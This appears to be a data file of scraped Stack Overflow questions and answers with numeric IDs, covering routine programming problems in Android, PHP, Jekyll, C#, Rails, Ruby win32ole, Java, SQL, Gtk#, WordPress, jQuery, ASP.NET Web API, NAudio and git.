19494215	0	Imageview with frame and image <p>I am working on android app and I want to create imageview that background is frame and src is image, but always there is space between them Also I want to do that the image will cut in case that his edge bigger then the frame. thanks!</p> <pre><code> &lt;TableLayout android:id="@+id/layoutItems" android:layout_width="fill_parent" android:layout_height="fill_parent" android:stretchColumns="*" &gt; &lt;TableRow android:id="@+id/row1" android:layout_width="match_parent" android:layout_height="fill_parent" android:orientation="horizontal"&gt; &lt;ImageView android:id="@+id/frame_1_1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="2sp" android:layout_marginTop="2sp" android:layout_marginLeft="13sp" android:layout_marginRight="10sp" android:contentDescription="@string/line" android:background="@drawable/picture_gallery_frame"/&gt; &lt;ImageView android:id="@+id/frame_1_2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="2sp" android:layout_marginTop="2sp" android:layout_marginLeft="10sp" android:layout_marginRight="13sp" android:contentDescription="@string/line" android:background="@drawable/picture_gallery_frame"/&gt; &lt;/TableRow&gt; </code></pre> <p>I have more rows like that one and I add src with that code progamatically:</p> <pre><code>File f = new File(media.get(media.size() - 1).getmMediaPath()); if (f.exists() &amp;&amp; f != null) { try { Uri u = Uri.parse(f.getPath()); if (ProfileActivity.tryJpegRead(iv, f)) { //Bitmap bitmap = BitmapUtils.getSafeDecodeBitmap(getPath(u), 512); //iv.setImageBitmap(BitmapUtils.makeRegularScaledBitmap(bitmap, 1.0f, 1.3f)); iv.setImageURI(u); } } catch (Exception e) { iv.setImageResource(R.drawable.sample); } } else { iv.setImageResource(R.drawable.sample); } </code></pre>
30355560	0	 <p>You didn't set a variable <code>$query3</code>.</p> <pre><code>$connection = mysql_connect("localhost", "root", ""); $db = mysql_select_db("testproject", $connection); $query1 = mysql_query("SELECT * FROM mentors where username='$username'",$connection); $query2 = mysql_query("SELECT * FROM students where username='$username'",$connection); $query3 = mysql_query("SELECT * FROM admin where username='$username'",$connection); ..... </code></pre>
16732290	0	 <pre><code>{% for category in site.categories %} {% assign catg_name = category.first %} {% if catg_name == page.category %} {% assign catg_posts = category.last %} {% endif %} {% endfor %} {% for post in catg_posts %} {% if post.title == page.title %} {% unless forloop.last %} {% assign next = catg_posts[forloop.index] %} &lt;li class="previous"&gt; &lt;a href="{{ site.baseurl }}{{ next.url }}"&gt;&amp;larr;{{ next.title }}&lt;/a&gt; &lt;/li&gt; {% endunless %} {% unless forloop.first %} &lt;li class="next"&gt; &lt;a href="{{ site.baseurl }}{{ prev.url }}"&gt;{{ prev.title }}&amp;rarr;&lt;/a&gt; &lt;/li&gt; {% endunless %} {% endif %} {% assign prev = post %} {% endfor %} </code></pre> <p>As you have mentioned you can save and use the previous iteration value for the previous post link( in my case I use it as the next post link since I don't want the default newest-first order ). For the next array element you can use <code>forloop.index</code>. This is the 1-based index of the for loop and will give you the next item of a zero-based array.</p>
27901200	0	 <p>use expression :</p> <pre><code>static public class Metadata&lt;T&gt; { static public PropertyInfo Property&lt;TProperty&gt;(Expression&lt;Func&lt;T, TProperty&gt;&gt; property) { var expression = property.Body as MemberExpression; return expression.Member as PropertyInfo; } } var foo = Metadata&lt;Test&gt;.Property(test =&gt; test.Foo); </code></pre>
17308163	0	 <p>try </p> <pre><code>percentageDecimals: 0 </code></pre> <p>in your tooltip</p>
31442315	0	Unknown attribute when monetizing a field using money-rails <p>I have the following class and I want to <code>monetize</code> a couple of its fields using the <code>money-rails</code> gem.</p> <pre><code>class LineItem &lt; ActiveRecord::Base monetize :unit_price_cents monetize :total_cents end </code></pre> <p>This is how the schema looks: </p> <pre><code>create_table "line_items", force: :cascade do |t| t.integer "invoice_id" t.float "quantity" t.string "unit_type" t.string "description" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.integer "unit_price_cents", null: false t.integer "total_cents", null: false end </code></pre> <p>For some reason I get <code>undefined method 'unit_price' for #&lt;LineItem:0x007ffb7881eb80&gt;</code> unless I add aliasing to the monetized fields:</p> <pre><code>monetize :unit_price_cents, as: :unit_price </code></pre>
3189001	0	 <p>Well... Former internet explorer versions had a mistake in their box model: the w3c box model takes width without padding and border, and the IE model took it including them. I have examined the page in a a new IE8 in windows 7, and I've only noticed that the border of the tabs were not rounded and they were not connected to the box. The corner can be done with images.</p> <p>Sorry.</p>
16946816	0	 <p>Something like</p> <pre><code>List&lt;String&gt; rollsAll = // from db List&lt;List&lt;String&gt;&gt; rolls = new ArrayList&lt;List&lt;String&gt;&gt;(); int size = rollsAll.size(); for (int i = 0; i &lt; size / 10; i++) { rolls.add(new ArrayList&lt;String&gt;(rollsAll.subList(10*i, 10*(i+1))); } // handle last part if size not divisible by 10 if (size % 10 &gt; 0) { rolls.add(new ArrayList&lt;String&gt;(rollsAll.subList(10 * (size / 10), size))); } </code></pre>
10251479	0	 <p>Try adding a type to your script, something like this.</p> <pre><code>&lt;script type="javascript/text" src="http://www.externalsite.com/js/default.js"&gt;&lt;/script&gt; </code></pre> <p>Are you having any troubles with your css ?</p>
37474024	0	Ruby win32ole Gem with OLE error 800A004C (Path Not Found) for size method <p>I have a colossal directory on my hard-drive and I wanted to gather some stats so I began writing a script. To speed things up massively I used Windows OLE but I've come across an interesting issue where the the <code>ar2</code> OLE object has a method called <code>size</code> but calling it gives me error <code>800A004C</code> or "Path Not Found". I have also tested on other directories and the below code works perfectly fine.</p> <p>I have used the method <code>ole_methods</code> and double checked the casing on <code>size</code>. The OLE method in Ruby definitely exists but no dice on getting it to succeed.</p> <p>Why is Windows OLE throwing this error when it should know the folder exists and compute the overall size of the folder structure recursively?</p> <pre><code>require 'win32ole' def getFileCount(dir) size = dir.Files.count sub_folders = dir.SubFolders unless sub_folders == 0 sub_folders.each do |sub| size += getFileCount(sub) end end size end AR2_NAME = ARGV[0] FSO = WIN32OLE.new("Scripting.FileSystemObject") ar2 = FSO.GetFolder(AR2_NAME) ar2_file_count = getFileCount(ar2) puts "Stats for #{ar2.path}.\n\n" puts "Total file count: #{ar2_file_count}." puts "Total size: #{ar2.size}." </code></pre> <p>Run the file using </p> <pre><code>Ruby C:\sample.rb "C:\my_folder" </code></pre> <p>Here's the error in question:</p> <p><a href="https://i.stack.imgur.com/WNn3t.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WNn3t.png" alt="The error in question"></a></p> <p>The folder's size is 1,492,503,618,641 bytes (1.35 TB) according to Windows. It is over 100k files.</p> <p>I have included my recursive file counting method as this works and illustrates that my folder does indeed exist.</p>
8938750	0	 <p>The other service is not really a business service in this case. Its only responsibility is to find the objects from the given ID, and apply the given action on these objects. Functionally, this is equivalent to the following code:</p> <pre><code>Set&lt;Object&gt; objects = otherService.getObjectsWithId(id); for (Object o : objects) { doTheHardBusinessStuffWith(o); } </code></pre> <p>Make <code>doTheHardBusinessStuffWith</code> protected. Create a unit test for this method. This is the most important unit test: the one that tests the business logic.</p> <p>If you really want to unit-test <code>myBusinessStuffFor</code>, what you could do is create a mock OtherService (and I mean implement this mock youself, here), that is built from a Set of objects, and applies its given action to all the objects in the set. Create a partial mock of <code>MyService</code> where the <code>doTheHardBusinessStuffWith</code> method is mocked, and which is injected with you mock OtherService. Call <code>myBusinessStuffFor</code> on the partial mock, and verify that <code>doTheHardBusinessStuffWith</code> has been called with every object of the set of objects.</p>
33562625	0	 <p>Tight loop with high priority thread is not a good idea...when the print hello is just looping without doing anything, Introduce switchtothread/yield after certain loops and sleep zero after a higher loop count. This will give other threads on the system oppurtinity to execute Eventually wait on a event handle when there is no work.</p> <p>@kiran0x1B</p>
27684518	0	 <p>Try this:</p> <pre><code>;with cte as (select *, row_number() over (partition by prod_id, branch order by transaction_date desc) rn from inv_table) select * from cte where rn = 1 </code></pre> <p>The <code>row_number</code> function will group records for the same <code>prod_id</code> and <code>branch</code> combination, and then number them in descending order of the <code>transaction_date</code>. After that, the latest results for each unique combination are simply the rows corresponding to <code>rn</code> = 1.</p> <p><a href="http://rextester.com/DBGJ54661" rel="nofollow">Demo</a></p>
38352963	0	 <p>For this you can use interval</p> <p>For Ex:</p> <pre><code>SELECT DATE_ADD(leave_date, INTERVAL 1 DAY) AS workingDay; </code></pre>
12389454	0	NSString Somehow turn in to an "__NSArrayI" object <p>i am receiving response from my server, it looks like this :</p> <pre><code>2012-09-12 16:29:11.690 WhatIsIt[1763:707] ( { qid = ebb81a9c0c2125c9f12fee33c281dfe2ef5c1596; "qid_data" = { labels = Wristwatch; }; } ) </code></pre> <p>when i am parsing the <code>"qid"</code> value like this :</p> <pre><code>- (void)updateCompleteWithResults:(NSArray*)results{ NSLog(@"%@",results); NSString *qid = [results valueForKey:@"qid"]; </code></pre> <p>the <code>NSString</code> object is getting a Parentheses around the string (i dont know how) looks like this :</p> <pre><code>2012-09-12 16:34:17.979 WhatIsIt[1785:707] ( 2e1da5854f3b4f02cd967293cd1364e6d3e0b76a ) </code></pre> <p>so i tried to use :</p> <pre><code>NSString *string = @" spaces in front and at the end "; NSString *trimmedString = [string stringByTrimmingCharactersInSet: [NSCharacterSet whitespaceAndNewlineCharacterSet]]; </code></pre> <p>and the app crashes, any idea?</p>
9136748	0	cannot compile hello.cs for gtk# using mono command prompt <p>Had hoped that <a href="http://stackoverflow.com/questions/8835352/cannot-compile-gtk-example">this</a> would help, but getting a different error. </p> <p>attempting to compile the following as hello.cs</p> <pre><code>using Gtk; using System; class Hello { static void Main() { Application.Init(); Window window = new Window("helloworld"); window.Show(); Application.Run(); } } </code></pre> <p>Compiling with the following command "gmcs hello.cs -pkg:gtk-sharp-2.0"</p> <p>depending on the command prompt, I'm receiving either cs0006 (mono cp) or cs2001 (win cp) saying that files cannot be found from mono cp it says that the metadata file cannot be found from win cp it says that source file cannot be found</p> <p>Here's a sample:</p> <pre><code>c:\Users\Stephen Lloyd\Desktop&gt;gmcs hello.cs -pkg:gtk-sharp-2.0 -r:C:/Program Files \(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/pango-sharp.dll \(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/atk-sharp.dll \(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/gdk-sharp.dll \(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/gtk-sharp.dll \(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/glib-sharp.dll error CS2001: Source file `Files' could not be found error CS2001: Source file `\(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/pango-sharp.dll' could not be found error CS2001: Source file `\(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/atk-sharp.dll' could not be found error CS2001: Source file `\(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/gdk-sharp.dll' could not be found error CS2001: Source file `\(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/gtk-sharp.dll' could not be found error CS2001: Source file `\(x86\)/Mono-2.10.8/lib/mono/gtk-sharp-2.0/glib-sharp.dll' could not be found Compilation failed: 6 error(s), 0 warnings </code></pre> <p>In all cases the referenced .dlls are in that folder.</p> <p>Any thoughts?</p>
12476189	0	How to use colorstatelist in android <p>I want to change button text color on diffrent states like btn_presses,btn_focus,etc.</p> <p>For that i use colorstatelist.xml and I refrenced it in button text in titlebarlayout.xml. But still I cant able to change text color of button.</p> <p>Any one know how to do it.Is I am going wrong anywhere in code.</p> <p>MainActivity.java </p> <pre><code>public class MainActivity extends Activity implements OnClickListener { EditText emailEdit, passwordEdit; Button loginButton; String email, password; TitleBarLayout titlebarLayout; String r; String rr; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.login_activity); emailEdit = (EditText) findViewById(R.id.etEmail); passwordEdit = (EditText) findViewById(R.id.etPassword); loginButton = (Button) findViewById(R.id.loginButton); loginButton.setOnClickListener(this); // titlebarLayout=(TitleBarLayout) findViewById(R.id.titlebar); titlebarLayout = new TitleBarLayout(MainActivity.this); titlebarLayout.setLeftButtonText(""); titlebarLayout.setRightButtonText("Logout"); titlebarLayout.setTitle("iProtect"); //titlebarLayout.setLeftButtonSize(50,50); //titlebarLayout.setRightButtonSize(100,50); titlebarLayout.setLeftButtonBackgroundColor(Color.rgb(34,49,64)); titlebarLayout.setRightButtonBackgroundColor(Color.rgb(34,49,64)); titlebarLayout.setLeftButtonTextColor(Color.rgb(255,255,255)); titlebarLayout.setRightButtonTextColor(Color.rgb(255,255,255)); XmlResourceParser parser =getResources().getXml(R.color.colorstatelist); ColorStateList colorStateList; try { colorStateList = ColorStateList.createFromXml(getResources(), parser); titlebarLayout.setLeftButtonTextColor(colorStateList); } catch (XmlPullParserException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } // ColorStateList colorlist=new ColorStateList( new int[][] { new int[] { android.R.attr.state_focused }, new int[0], }, new int[] { Color.rgb(0, 0, 255), Color.BLACK, } ); // titlebarLayout.setLeftButtonTextColor(colorlist); OnClickListener listener = new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub if (v.getId() == R.id.left_button) { } else if (v.getId() == R.id.right_button) { } } }; titlebarLayout.setLeftButtonOnClickListener(listener); titlebarLayout.setRightButtonOnClickListener(listener); } </code></pre> <p>TitleBarLayout.java</p> <pre><code>public class TitleBarLayout { private Activity activityRef; private View contentView; private Button leftButton, rightButton; TextView titletext; public TitleBarLayout(Activity a) { Log.i("TitleBar Layout", "Inside constructor"); activityRef = a; inflateViewsFromXml(); setListenersOnViews(); setValuesOnViews(); } private void setValuesOnViews() { leftButton.setText(""); rightButton.setText(""); } private void setListenersOnViews() { leftButton.setOnClickListener(listener); rightButton.setOnClickListener(listener); } private final OnClickListener listener = (new OnClickListener() { @Override public void onClick(View v) { activityRef.finish(); } }); private void inflateViewsFromXml() { contentView = activityRef.findViewById(R.id.titlebar); rightButton = (Button) contentView.findViewById(R.id.right_button); leftButton = (Button) contentView.findViewById(R.id.left_button); titletext = (TextView) contentView.findViewById(R.id.title_textview); } public void setLeftButtonText(int resID) { leftButton.setText(resID); } public void setLeftButtonText(String text) { leftButton.setText(text); } public void setLeftButtonOnClickListener(View.OnClickListener listener) { leftButton.setOnClickListener(listener); } public void setRightButtonText(int resID) { rightButton.setText(resID); } public void setRightButtonText(String text) { rightButton.setText(text); } public void setRightButtonOnClickListener(View.OnClickListener listener) { rightButton.setOnClickListener(listener); } public void setTitle(int resID) { titletext.setText("" + resID); } public void setTitle(String text) { titletext.setText(text); } public void setLeftButtonSize(int width, int height) { Log.i("Button" ,"Width"+width); leftButton.setWidth(width); leftButton.setHeight(height); } public void setRightButtonSize(int width, int height) { Log.i("Button" ,"Width"+width); rightButton.setWidth(width); rightButton.setHeight(height); } public void setLeftButtonBackgroundResource(int backgroundResource) { } public void setRightButtonBackgroundResource(int backgroundResource) { } public void setLeftButtonBackgroundColor(int backgroundColor) { Log.i("Button" ,"COLOR"+backgroundColor); leftButton.setBackgroundColor(backgroundColor); } public void setRightButtonBackgroundColor(int backgroundColor) { Log.i("Button" ,"COLOR"+backgroundColor); rightButton.setBackgroundColor(backgroundColor); } public void setLeftButtonTextColor(int textcolor) { Log.i("Button" ,"COLOR"+textcolor); leftButton.setTextColor(textcolor); } public void setRightButtonTextColor(int textcolor) { Log.i("Button" ,"COLOR"+textcolor); rightButton.setTextColor(textcolor); } public void setLeftButtonTextColor(ColorStateList colorStateList) { leftButton.setTextColor(colorStateList); } public void setRightButtonTextColor(ColorStateList colorStateList) { } } </code></pre> <p>color.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;resources&gt; &lt;color name="title_bg_color"&gt;#2e4256&lt;/color&gt; &lt;color name="layout_bg_color"&gt;#dcdcdc&lt;/color&gt; &lt;color name="state_pressed"&gt;#ffffff&lt;/color&gt; &lt;color name="state_selected"&gt;#00ff00&lt;/color&gt; &lt;color name="state_focused"&gt;#0000ff&lt;/color&gt; &lt;/resources&gt; </code></pre> <p>titlebarlayout.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="@dimen/titlebar_height" android:background="@color/title_bg_color" android:gravity="center_vertical" android:orientation="horizontal" &gt; &lt;Button android:id="@+id/left_button" android:layout_width="@dimen/titlebar_button_width" android:layout_height="@dimen/titlebar_button_height" android:text="" android:clickable="true" android:textColor="@color/colorstatelist" android:background="@drawable/button_shape_drawable" android:layout_marginLeft="10dp"/&gt; &lt;TextView android:id="@+id/title_textview" android:layout_width="0dip" android:layout_height="match_parent" android:layout_weight="1" android:gravity="center" android:text="" android:textColor="@android:color/white" android:textStyle="bold" /&gt; &lt;Button android:id="@+id/right_button" android:layout_width="@dimen/titlebar_button_width" android:layout_height="@dimen/titlebar_button_height" android:text="" android:clickable="true" android:layout_marginRight="10dp" android:background="@drawable/button_shape_drawable" android:textColor="@color/colorstatelist" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>colorstatelist.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;selector xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;item android:state_pressed="true" android:color="@color/state_pressed"/&gt; &lt;item android:state_selected="true" android:color="@color/state_selected"/&gt; &lt;item android:state_focused="true" android:color="@color/state_focused"/&gt; &lt;item android:color="#808080"/&gt; &lt;/selector&gt; </code></pre>
29778261	0	 <p>If you invoque a main method inside your java application you won't start a new Java application.</p> <p>In that case, you're executing a static method, just like any other static method, so the current directory is the same as the working directory of your current Java application.</p> <p>If you're looking for a way to execute a java application inside an existing Java application you have to create another process.</p> <p>An example:</p> <pre><code> List&lt;String&gt; command = new ArrayList&lt;String&gt;(); command.add("java -jar xxxxx.jar"); command.add("argument to Main method"); command.add("another argument to Main method"); ProcessBuilder builder = new ProcessBuilder(command); File workingDirectory = new File("/myworkingdirectory"); builder.directory(workingDirectory); Process process = builder.start(); </code></pre>
1384280	0	 <p>If you want to take a heap dump programmatically, you'll not find suitable APIs in the java.* or javax.* namespace. However, the Sun runtime comes with the <a href="http://java.sun.com/javase/6/docs/jre/api/management/extension/com/sun/management/HotSpotDiagnosticMXBean.html" rel="nofollow noreferrer">HotSpotDiagnosticMXBean</a> which will enable you to take a heap dump by writing the contents of the heap on to a specified file in disk.</p>
124598	0	 <p>If you did want to whitelist for performance reasons, consider using an annotation to indicate which fields to compare. Also, this implementation won't work if your fields don't have good implementations for <code>equals()</code>.</p> <p>P.S. If you go this route for <code>equals()</code>, don't forget to do something similar for <code>hashCode()</code>.</p> <p>P.P.S. I trust you already considered <a href="http://commons.apache.org/lang/api/org/apache/commons/lang/builder/HashCodeBuilder.html" rel="nofollow noreferrer">HashCodeBuilder</a> and <a href="http://commons.apache.org/lang/api/org/apache/commons/lang/builder/EqualsBuilder.html" rel="nofollow noreferrer">EqualsBuilder</a>.</p>
17175879	0	Wordpress Loop does not work properly in category.php when using query_posts <p>I am developing a wordpress theme. I am new in this field, and it's not very easy. </p> <p>I wrote the code for the loop, and everything is working perfectly. I am working on category.php page. Without the query posts, the category is correctly showing the posts from that specific category.</p> <p>But, I want to add pagination, and limit the posts per page to maybe 10. But, when I add this code before the loop:</p> <pre><code>&lt;?php query_posts( 'posts_per_page=10' ); ?&gt; </code></pre> <p>It doesn't work. Now, it outputs all the posts, from every category in the website, not only from that category. </p> <p>Can anybody tell me what am I doing wrong?</p> <p>Thanks.</p>
12338370	0	Passing php file in ajax <p>This is my code</p> <pre><code>&lt;script&gt; $(document).ready(function() { // delete the entry once we have confirmed that it should be deleted $('.delete').click(function() { var parent = $(this).closest('tr'); $.ajax({ type: 'POST', url: 'delete.php', data: 'ajax=1&amp;delete=' + $(this).attr('id'), success: function() { parent.fadeOut(300,function() { parent.remove(); }); } }); }); $('.delete').confirm({ }); }); &lt;/script&gt; </code></pre> <p>My question is why delete.php is not executing? It's in the same folder, do I need type absolure url to this file? But the best of it is that row in table is deleting, but php file is not executing. And second question is why this code is not working without this line:</p> <pre><code> $('.delete').confirm({ }); </code></pre> <p>In php file i got this to know is it executed:</p> <pre><code>&lt;script&gt; alert('aaaa'); &lt;/script&gt; </code></pre> <p>Or even I had change it on <code>echo 'something';</code> but still not working</p>
17854382	0	 <p>I had the same issue on my computer. I believe it's caused by the icon cache in Windows. </p> <p>What I usely do is removing the icon, cleaning up the PC (with <em>CCleaner</em>), then, add the icon. </p> <p>Or you can just delete <code>/Documents and Settings/&lt;username&gt;/Local Settings/Application Data/IconCache.db</code> (<em>Windows XP</em>) or <code>/Users/&lt;username&gt;/AppData/Local/IconCache.db</code> (<em>Windows 7</em>).</p>
16200117	0	 <p>You're expressing a real-world constraint in code. Your examples here don't actually show that buying you anything here, so going on the evidence I'd wonder whether it's redundant to express it, or irrelevant to any situation that will actually arise. But if you're ever going to have different kinds of shaders for different kinds of vertex datasets, I'd say you've hit on exactly the right way to express this here.</p>
40854026	0	How to fill Repeater only on first Load <p>In my page, I load various sections after the initial Page load, via Postbacks and <code>.Visible = true</code>. I have a Repeater control which I want to fill from a data source, but only the first time I load the Control.</p> <p>Initially, I had tried something like the following, which is obviously not correct:</p> <pre><code>void Page_PreRender(object sender, EventArgs e) { if (Repeater1.DataSource == null) { Repeater1.DataSource = GetDataInitial(); // Does the query of the data source Repeater1.DataBind(); } } </code></pre> <p>In short, I am trying to query some set of properties to tell me whether or not something has already bound data to it. I can't use <code>!Page.IsPostBack</code> since the Load may happen on a Post-Back.</p> <p>If it helps, we can assume that I am only loading this section on the <code>Click</code> event of the control <code>Button1</code>.</p>
10606438	0	 <p>This problem is actually caused by HTML behaving differently then JQuery. In HTML, spaces and extra lines don't matter. </p> <p>In HTML, these 2 examples are visually the same when rendered to the page:</p> <pre><code>&lt;div id="vendor"&gt;Barracuda&lt;/div&gt; </code></pre> <p>and</p> <pre><code>&lt;div id="vendor"&gt; Barracuda &lt;/div&gt; </code></pre> <p>However when you use JQuery's .Text() method, they yield different results.</p> <pre><code>&lt;div id="vendor"&gt;Barracuda&lt;/div&gt; $('#vendor').text() // equals "Barracuda" </code></pre> <p>But this is very different:</p> <pre><code>&lt;div id="vendor"&gt; Barracuda &lt;/div&gt; $('#vendor').text() // equals " Barracuda " </code></pre> <p>Thus the need to .trim() the results if you can't tailor the HTML, or just want to play it safe.</p> <pre><code>var thisText = $.trim($(this).text()); </code></pre> <p><a href="http://jsfiddle.net/usy8F/" rel="nofollow">JSFiddle Working Example</a></p>
27762242	0	Newly installed Magento, invalid login even with correct user and pass <p>I'm using magento 1.9, and made sure that my var and media folder's permissions are on 777.</p> <p>I can't seem to login into the admin panel even with the correct login details.</p>
37738143	0	Web Api route constraint tuples <p>I have a route like this:</p> <pre><code>config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{tenantParam1}/{tenantParam2}/{controller}/{id}, constraints: ???, defaults: new { id = RouteParameter.Optional } ); </code></pre> <p>For tenantParam1, and tenantParam2, I need to constrain them so that only certain tuples of values are allowed. Is there a way to do that?</p> <p>Edit: to clarify, the important part is that I need to evaluate tenantParam1 and tenantParam2 together, as a tuple. For instance, lets say these are my valid tenants:</p> <pre><code>param1 | param2 ABC | 123 ABC | 456 DEF | 789 DEF | 012 </code></pre> <p>That would mean the following routes are valid:</p> <pre><code>/api/ABC/123 /api/ABC/456 /api/DEF/789 /api/DEF/012 </code></pre> <p>But the following routes are not valid:</p> <pre><code>/api/ABC/789 /api/ABC/012 /api/DEF/123 /api/DEF/456 </code></pre>
9732633	0	Language Translation API for iPhone <p>I want to implement language translation feature in my iPhone app, is there any API which is free that I can use, or any other way to do this. </p>
379348	0	"Aliasing" tasks in msbuild for intellisense <p>I'm really hoping I just don't know how to do this, and that 'this' is doable... but one of my biggest complaints to date with msbuild is that they 'break' schema by using dots in the names of the tags.</p> <p>example: </p> <p>I want to bake intellisense into my build using vs 2005 but I can't because the namespace qualified task names are invalid per xsd and thus when I open my build project ALL my intellisense is gone (cause the schema is invalid).</p> <p>Try it. Add something like:</p> <pre> element name="Microsoft.Sdc.Tasks.ActiveDirectory.Group.AddUser" </pre> <p>To your Microsoft.Build.Commontypes.xsd and you'll lose all your intellisense.</p> <p>I'm looking for a way to 'alias' the class with the taskname I want... It doesn't appear from my reading that I can do this, but maybe somebody out there knows how?</p> <p>Effectively I would like to do:</p> <p></p> <p>Any thoughts?</p> <p>Can I write my own "UsingTask" that just wraps these shennanigans and let's me do what I want?</p> <p>I'm open to thoughts... :)</p> <p>Thanks to all!</p> <hr> <p>It stripped out my text after "Effectively I would like to do:" so I'm posting it here... <pre> UsingTask assemblyname="my.dll" TaskName="This.Is.My.Task" Alias="This-Is-My-Task" </pre></p>
15181400	0	 <p>This is probably what you want (not completer code, just idea)</p> <pre><code>protected boolean mIsCountDownOn; private class CountDownTimer mCountDownTimer = new CountDownTimer(10000, 10000) { @Override public void onTick(long millisUntilFinished) { } @Override public void onFinish() { mIsCountDownOn = false; } }; </code></pre> <p>In foo</p> <pre><code>foo { if (mIsCountDownOn) { // less than 10 seconds since the last time foo is called mCountDownTimer.cancel(); } else { // more than 10 seconds since last call mIsCountDownOn = true; // will start the timer at the end of foo body // Code to save mTime to wherever you want to save it. } // Whatever else foo supposes to do mTime = // get the time now mCountDownTimer.start(); } </code></pre>
30847396	0	RawSourceWaveStream volume control and playback time estimation with Naudio <p>I'm using Naudio to play audio samples from memory.</p> <pre><code> private RawSourceWaveStream waveStream; private MemoryStream ms; private int sampleRate = 48000; private IWavePlayer wavePlayer; //generate sine wave signal short[] buffer = new short[(int)Math.Round(sampleRate * 10.00)]; double amplitude = 0.25 * short.MaxValue; double frequency = 1000; for (int n = 0; n &lt; buffer.Length; n++) { buffer[n] = (short)(amplitude * Math.Sin((2 * Math.PI * n * frequency) / sampleRate)); } byte[] byteBuffer = new byte[buffer.Length * sizeof(short)]; Buffer.BlockCopy(buffer, 0, byteBuffer, 0, byteBuffer.Length); //create audio player to play samples from memory ms = new MemoryStream(byteBuffer); waveStream = new RawSourceWaveStream(ms, new WaveFormat(sampleRate, 16, 1)); //wavePlayer = new WaveOutEvent(); wavePlayer = new DirectSoundOut(); wavePlayer.Init(waveStream); wavePlayer.PlaybackStopped += wavePlayer_PlaybackStopped; </code></pre> <p>I want to control the Volume of <code>RawSourceWaveStream</code> for each stream separately. (I will play multiple streams). </p> <p>1) It's enough to use <code>wavePlayer.Volume = volumeSlider1.Volume;</code>? It is deprecated.</p> <p>2) I see that <code>AudioFileReader</code> make use of <code>SampleChannel</code> for Volume control. If i rewrite Read method for <code>RawSourceWaveStream</code> and add Volume Property should this be a good solution?</p> <p>3) I want playback time estimation as best as possible (at millisecond level). I saw that the time resolution of <code>WaveOutEvent</code> is about hundred of milliseconds. The time resolution of <code>DirectSoundOut</code> is better, but still not enough.</p> <p>Thank you in advance!</p>
1476119	0	 <p>You can use <strong><a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.notifyicon.aspx" rel="nofollow noreferrer">NotifyIcon</a></strong> </p> <p>Also check community response in comments for notable issues of using NotifyIcon.</p>
25934769	0	 <p>It is due to the polymorphism.</p> <p>Reference of parent class can hold the child class object.But using this reference you can call methods those are correctly overridden in the child class.</p>
14655442	0	Is there a way to add your own controls to Blend's "Group Into" and "Change Layout Type" options? <p>In Expression Blend 4, we can right click on an object in the Objects and Timeline panel to access the handy functions "Group Into" and "Change Layout Type":</p> <p><img src="https://i.stack.imgur.com/tKgZO.png" alt="enter image description here"></p> <p>However, what I really want often times is to be able to "group into" or "change layout type to" some of <strong>my own WPF content controls</strong>, such as a SunkenBorder, ClippingBorder, TransitionContentControl, etc. Is there a way that we can tell Blend to also include some of our controls (or any non-standard WPF controls) in these lists?</p> <p><strong>Update:</strong></p> <p>After I originally asked this question I had the idea to take a look at the source code of some of the panels that Expression Blend does include in its lists (Grid, StackPanel, etc), in the attempt to find a class metadata attribute that Blend might be paying attention to in order to populate these lists. I was hoping to find some attribute analogous to the <a href="http://blogs.msdn.com/b/jnak/archive/2008/01/17/showing-attached-properties-in-the-cider-wpf-designer.aspx" rel="nofollow noreferrer">ones you can specify for your own attached properties</a> that allow them to show up in Blend or Visual Studio in their property panels. Unfortunately I did not find any such class attribute, so it appears that Sorskoot is correct, that we cannot add to these lists that Blend shows.</p>
26247036	0	 <p>Thinking too hard about an easy problem - once the button is clicked, I should remove it and show a loading message instead. I still don't get why the fragment manager would be null clicking quickly though; popbackstack removes this fragment but the fragmentmanager can still have memory.</p>
26159487	0	 <p>This will give you the difference between two dates, in milliseconds</p> <pre><code>var diff = Math.abs(date1 - date2); </code></pre> <p>In your example, it'd be</p> <pre><code>var diff = Math.abs(new Date() - compareDate); </code></pre> <p>You need to make sure that compareDate is a valid Date object.</p> <p>Something like this will probably work for you</p> <pre><code>var diff = Math.abs(new Date() - new Date(dateStr.replace(/-/g,'/'))); </code></pre> <p>i.e. turning "2011-02-07 15:13:06" into new Date('2011/02/07 15:13:06'), which is a format the Date constructor can comprehend.</p> <p><a href="http://stackoverflow.com/questions/4944750/how-to-subtract-date-time-in-javascript">Answer Reference</a></p>
11198542	0	Restore deleted file from repository <p>I'm being in a transition from SVN to GIT and got a question for which I cannot find an answer. I'll describe am usual scenario when I work with some open source projects via SVN.</p> <ol> <li>make a checkout</li> <li>start messing around with files, make changes, to test how the project works.</li> <li>after p.2 some files are heavily modified and I have no chance to get back to original state.</li> <li>I delete the modified files from disk "rm filename.cpp", run the command "svn update" and voila, all original files are back.</li> </ol> <p>All this works fine with GIT as well, except p.4. I try to make "git pull" it says that project is up to date and I don't get the original files even though they are missing from local folder.</p> <p>What is the correct command for p.4 when working with git. Thx</p>
